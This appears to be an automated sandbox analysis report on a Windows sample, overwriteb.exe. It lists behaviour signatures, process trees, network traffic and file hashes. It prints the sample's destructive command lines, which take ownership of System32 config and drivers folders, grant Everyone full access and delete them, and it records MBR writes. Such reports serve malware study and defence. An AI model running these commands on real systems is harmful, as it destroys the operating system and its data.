Analysis Overview
SHA256
c7230bb80217286fc85f8f174c02226c9b511901706ba7af6576400c7c7fc536
Threat Level: Likely malicious
The file overwriteb.exe was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Writes to the Master Boot Record (MBR)
Enumerates physical storage devices
Browser Information Discovery
Unsigned PE
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-10 17:21
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-10 17:21
Reported
2024-08-10 17:24
Platform
win7-20240708-en
Max time kernel
35s
Max time network
45s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File created | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Browser Information Discovery
Enumerates physical storage devices
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\overwriteb.exe
"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant Everyone:(F)
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant Everyone:(F)
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef72d9758,0x7fef72d9768,0x7fef72d9778
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1128 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1420 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1504 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2128 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2136 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:1
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1776 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1124 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3664 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:8
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
C:\Windows\system32\wininit.exe
"C:\Windows\system32\wininit.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | accounts.server.lan | udp |
| US | 8.8.8.8:53 | clients2.server.lan | udp |
| US | 8.8.8.8:53 | www.google.com | udp |
| NL | 142.250.179.196:443 | www.google.com | tcp |
| NL | 142.250.179.196:443 | www.google.com | tcp |
| NL | 142.250.179.196:443 | www.google.com | tcp |
| NL | 142.250.179.196:443 | www.google.com | udp |
| N/A | 224.0.0.251:5353 | udp |
Files
memory/2716-0-0x000000013F370000-0x000000013F51F000-memory.dmp
memory/2716-1-0x000000013F370000-0x000000013F51F000-memory.dmp
\??\pipe\crashpad_2588_RELJGTZUYAPXBXSJ
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp
| MD5 | 18e723571b00fb1694a3bad6c78e4054 |
| SHA1 | afcc0ef32d46fe59e0483f9a3c891d3034d12f32 |
| SHA256 | 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa |
| SHA512 | 43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
| MD5 | f50f89a0a91564d0b8a211f8921aa7de |
| SHA1 | 112403a17dd69d5b9018b8cede023cb3b54eab7d |
| SHA256 | b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec |
| SHA512 | bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58 |
memory/2716-67-0x000000013F370000-0x000000013F51F000-memory.dmp
memory/1808-72-0x000000001B660000-0x000000001B942000-memory.dmp
memory/1808-73-0x00000000026E0000-0x00000000026E8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-10 17:21
Reported
2024-08-10 17:23
Platform
win10v2004-20240802-en
Max time kernel
54s
Max time network
47s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File created | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\overwriteb.exe
"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant Everyone:(F)
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant Everyone:(F)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
C:\Windows\system32\wininit.exe
"C:\Windows\system32\wininit.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 34.56.20.217.in-addr.arpa | udp |
Files
memory/4472-0-0x00007FF75B9B0000-0x00007FF75BB5F000-memory.dmp
memory/4472-1-0x00007FF75B9B0000-0x00007FF75BB5F000-memory.dmp
memory/4472-2-0x00007FF75B9B0000-0x00007FF75BB5F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qebsucv.w4m.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3724-8-0x000001C79A630000-0x000001C79A652000-memory.dmp